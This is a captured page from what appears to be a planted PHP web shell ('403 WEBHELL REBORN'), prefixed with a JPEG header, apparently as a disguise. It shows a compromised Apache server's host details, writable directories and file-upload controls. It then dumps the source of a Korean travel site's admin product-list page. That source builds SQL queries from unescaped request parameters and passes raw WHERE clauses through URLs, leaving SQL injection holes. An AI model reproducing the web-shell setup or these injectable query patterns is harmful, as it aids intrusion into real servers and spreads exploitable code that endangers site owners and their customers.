ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good/good_list_all.html
<?
include "../include/top.html";
include "_common.php";

// 테이블명
$table = " good ";
$sql_where = " ";

// 사이트 언어 및 통화 구분
if ($lang == '') $lang = 'ko';
if ($curunit == '') {
	switch ($lang){
		case 'en' :
			$curunit = "USD";
			break;
		case 'hk' :
			$curunit = "HKD";
			break;
		case 'cn' :
			$curunit = "CNY";
			break;
		default :
			$curunit = "KRW";
			break;
	}
}
$lang_arr = array("USD"=>"영어", "HKD"=>"번체", "CNY"=>"간체", "KRW"=>"한글");
$lang_name = $lang_arr[$curunit];
$simbol_arr = array("USD"=>"USD", "HKD"=>"HKD", "CNY"=>"CNY", "KRW"=>"₩");
$cursimbol = $simbol_arr[$curunit];

// 환율체크 class
$CommonTour_v = new CommonTour();

$data_bc = TO_get_bc("","N"," and b_lang='{$lang}' and tab in ('P','D','T')");
foreach($data_bc as $k => $v){
	$b_uid_list[] = $v['b_uid'];
}
if ($b_uid_list) {
	$sql_where .= " and b_uid in('".implode("','", $b_uid_list)."') ";
}

// 투어코드 리스트
$kind_code_arr = base_codec("TGO","TKND","","N");

// 검색 설정
if ($search_word_s) {
	$sql_where .= " and g_title like '%".$search_word_s."%' ";// 검색어(상품명)
}
if ($g_ok) {
	$sql_where .= " and g_ok = '".$g_ok."' "; // 판매여부
}
if ($kind_code) {
	$sql_where .= " and kind_code = '".$kind_code."' "; // 투어종류
}

if ($b_uid_s) {
	$sql_where	.= " and b_uid='{$b_uid_s}' "; // 1차 카테고리
}

// 리스트 수 가져옴
$sql = "select count(*) as total from {$table} where 0=0  {$sql_where} ";

$row = db_fetch($sql);
$total = $row[total];

// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = 1000; // 보여줄 갯수
$list = 10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1); 

// 정렬
$sql_order = $order_by_s;

//배열에 저장
$data = array();
$data = good_list($sql_where,$sql_order,$olds,$line);
?>
<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title"><strong>TK TRAVEL(<?=$lang_name?>) <?=($g_ok=='N')?"판매중지":"판매중"?> 상품 리스트 (검색 <?=$total?>개)</strong></div>
		<div class="contents_detail">

		<div id="Content_box">

		<!-- 폼 -->
		<form name="frm_list" id="frm_list" method="post">
		<input type="hidden" name="SqlType" value="" />
		<input type="hidden" name="curunit" value="<?=$curunit?>" />

			<div class="c_top_sch_wrap">
				<!--select box---><!---2021-12-21 select box add--->
				<ul class="c_top_sch_left">
					<li class="ml10">
						<select name="g_ok" id="g_ok">
							<option value="">==사용여부==</option>
							<option value="Y" <?=($g_ok=='Y')?"selected":""?>>판매중</option>
							<option value="N" <?=($g_ok=='N')?"selected":""?>>판매중지</option>
						</select>
					</li>
					<li class="ml10">
						<select name="b_uid_s" id="b_uid_s">
							<option value="">==상품카테고리==</option>
							<?
								for($i=0 ; $i < count($data_bc) ; $i++){
									$arr = $data_bc[$i];
							?>
							<option value="<?=$arr['b_uid']?>" <?=($b_uid_s==$arr['b_uid'])?"selected":""?>><?=$arr['b_name']?></option>
							<? } ?>
						</select>
					</li>
					<li class="ml10">
						<select name="kind_code" id="kind_code">
							<option value="">==투어종류==</option>
							<? 
								for($i=0; $i<count($kind_code_arr); $i++){ 
									$arr = $kind_code_arr[$i];
							?>
								<option value="<?=$arr['code']?>" <?=($arr['code']==$kind_code)?"selected":""?>><?=$arr['cd_nm']?></option>
							<? } ?>
						</select>
					</li>
					<div class="search_l">
						<input type="text" id="" name="search_word_s" value="<?=$search_word_s?>" style="width:300px;" onKeypress="javascript:if(event.keyCode==13) {document.frm_list.submit();}" placeholder="::검색해주세요"/>
						<button type="button" class="search_btn" onclick="document.frm_list.submit();">검색</button>
					</div>
				</ul>
				<!-- 상품정렬 -->
				<ul class="c_top_sch_r">
					<!--hk-->
					<? if($lang == 'hk'){ ?>
					<li>
						<input type="button" name="btn_curunit" class="TGbtn left <?=($curunit=='HKD')?'active':'';?>" value="HKD" onclick="">
						<input type="button" name="btn_curunit" class="TGbtn center <?=($curunit=='TWD')?'active':'';?>" value="TWD" onclick="">
						<input type="button" name="btn_curunit" class="TGbtn right <?=($curunit=='KRW')?'active':'';?>" value="KRW" onclick="">
					</li>
					<? } ?>
					<!--en-->	
					<? if($lang == 'eng'){ ?>
					<li>
						<input type="button" name="btn_curunit" class="TGbtn left <?=($curunit=='USD')?'active':'';?>" value="USD" onclick="">
						<input type="button" name="btn_curunit" class="TGbtn right <?=($curunit=='KRW')?'active':'';?>" value="KRW" onclick="">
					</li>
					<? } ?>	
					<!--cn-->
					<? if($lang == 'cn'){ ?>
					<li>
						<input type="button" name="btn_curunit" class="TGbtn left <?=($curunit=='CNY')?'active':'';?>" value="CNY" onclick="">
						<input type="button" name="btn_curunit" class="TGbtn right <?=($curunit=='KRW')?'active':'';?>" value="KRW" onclick="">
					</li>
					<? } ?>

					<li>
						<a href="javascript:;" class="Tbtn" onclick="to_excel('<?=urlencode($sql_where)?>','<?=urlencode($sql_order)?>', '<?=$lang?>', '<?=$curunit?>');" >
						<img src="../image/btn/ico_excel.gif" alt="엑셀" /> 엑셀저장</a>
					</li>
					
					<li class="ml10">
						<select name="order_by_s" id="order_by_s">
							<option value="g_regdate desc" <?=($order_by_s=="g_regdate desc")?"selected":""?>>등록일 ↑</option>
							<option value="g_regdate" <?=($order_by_s=="g_regdate")?"selected":""?>>등록일 ↓</option>
							<option value="g_ok desc" <?=($order_by_s=="g_ok desc")?"selected":""?>>노출순서 ↑</option>
							<option value="g_no" <?=($order_by_s=="g_no")?"selected":""?>>노출순서 ↓</option>
						</select>
					</li>
				</ul>
				<!-- 상품등록 -->
			</div>

		<table width="100%" border="0" cellspacing="0" cellpadding="0" class="T_list">
		<colgroup>
			<col style=" width:50px" />
			<col style=" width:74px" />
			<col style=" width:74px" />
			<col style=" width:40px" />
			<col />
			<col style=" width:270px" />
			<col style=" width:173px" />
			<col style=" width:120px" />
			<col style=" width:50px" />
			<col style=" width:90px" />
			<col style=" width:90px" />
			<col style=" width:90px" />
			<col style=" width:90px" />
		</colgroup>
		<thead>
			<tr style="border-top:1.5px solid #445163">
				<th scope="col" rowspan="2">노출</br>순서</th>
				<th scope="col" rowspan="2">투어종류</th>
				<th scope="col" rowspan="2">투어코드</th>
				<th scope="col" rowspan="2">판매중</th>
				<th scope="col" rowspan="2">상품명</th>
				<th scope="col" rowspan="2">행사명</th>
				<th scope="col" rowspan="2">판매기간</th>
				<th scope="col" rowspan="2">출발요일</th>
				<th scope="col" rowspan="2">최소</br>출발</th>
				<th scope="col" colspan="2" class="double_th">판매가</th>
				<th scope="col" colspan="2" class="double_th">공급가</th>
			</tr>
			<tr>
				<th class="double_th">성인</th>
				<th class="double_th">아동</th>
				<th class="double_th">성인</th>
				<th class="double_th">아동</th>
			</tr>
		</thead>
		<tbody>
		<?
			for($i=0 ; $i < count($data) ; $i++){
				$row = $data[$i];
				$num = $total - ($page - 1) * $line - $i;

				// 투어코드
				if($row['kind_code'] != "") {
					$arr = base_codec("TGO","TKND",$row['kind_code']);
					$row['kind_code_str'] = $arr[0]['cd_nm'];
				}

				// 판매여부
				if($row['g_ok']=="Y"){
					$row['g_ok_str'] = "O";
				} else {
					$row['g_ok_str'] = "X";
				}

				// 행사정보
				$data_date = TO_good_date_data($row['g_uid']);
		?>
			<tr>
				<td><?=$row['g_no']?></td>
				<td><?=$row['kind_code_str']?></td>
				<td><?=$row['tour_code']?></td>
				<td><?=$row['g_ok_str']?></td>
				<td style="text-align:left;">
					<a href="good_edit.html?<?=$_href?>&g_uid=<?=$row['g_uid']?>"><?=$row['g_title']?></a><!-- 상품명 -->
				</td>
				<td class="pa0">
					<? foreach($data_date['type_nm'] as $k => $v) {?>
					<dt style="width:270px;"><a href="good_edit.html?<?=$_href?>&g_uid=<?=$row['g_uid']?>"><?=$v?></a></dt>
					<? } ?>
				</td>
				<td class="pa0">
					<? foreach($data_date['sales_period'] as $k => $v) {?>
					<dt style="text-align:center;"><?=$v?></dt>
					<? } ?>
				</td>
				<td class="pa0">
					<? foreach($data_date['start_yoil'] as $k => $v) {?>
					<dt style="text-align:center;"><?=$v?></dt>
					<? } ?>
				</td>
				<td class="pa0">
					<? foreach($data_date['start_num'] as $k => $v) {?>
					<dt style="text-align:center;"><?=$v?></dt>
					<? } ?>
				</td>
				<td class="pa0">
					<? foreach($data_date['sell_price_adult'] as $k => $v) {?>
					<dt style="text-align:center;"><?=$cursimbol?> <?=number_format($v)?></dt>
					<? } ?>
				</td>
				<td class="pa0">
					<? foreach($data_date['sell_price_child'] as $k => $v) {?>
					<dt style="text-align:center;"><?=$cursimbol?> <?=number_format($v)?></dt>
					<? } ?>
				</td>
				<td class="pa0">
					<? foreach($data_date['buy_price_adult'] as $k => $v) {?>
					<dt style="text-align:center;"><?=$cursimbol?> <?=number_format($v)?></dt>
					<? } ?>
				</td>
				<td class="pa0">
					<? foreach($data_date['buy_price_child'] as $k => $v) {?>
					<dt style="text-align:center;"><?=$cursimbol?> <?=number_format($v)?></dt>
					<? } ?>
				</td>
			</tr>
			<?}?>
			</tbody>
		</table>
		</form>
		<!-- /폼 -->
		<!-- /본문 -->
		</div>
		<!--<?=adm_get_paging($total_page, $page, $list, "?$href&page=", "")?>-->
	</div>
</div>
</div>

<script Language="Javascript">
var g_uid;


$(document).ready(function(){

	$("#order_by_s").on("change",function(){
		var order_by_s = $("#order_by_s").val();
		
		window.document.location.href='<?=$PHP_SELF?>?<?=$href?>&order_by_s='+order_by_s;
	});

	$(".TGbtn").on("click", function(){
		var curunit = $(this).attr('value');
		
		window.document.location.href='<?=$PHP_SELF?>?<?=$href?>&curunit='+curunit;
	});

	$(".c_top_sch_left select").on("change", function(){
		var form = document.forms['frm_list'];

		form.submit();
	});
});

//엑셀출력
function to_excel(sql_where, sql_order, lang, curunit)
{
	document.location.href='good_list_all_excel.html?sql_where='+sql_where+'&sql_order='+sql_order+'&lang='+lang+'&curunit='+curunit;
}
</script>
<?
include "../include/footer.html";
?>

Anon7 - 2021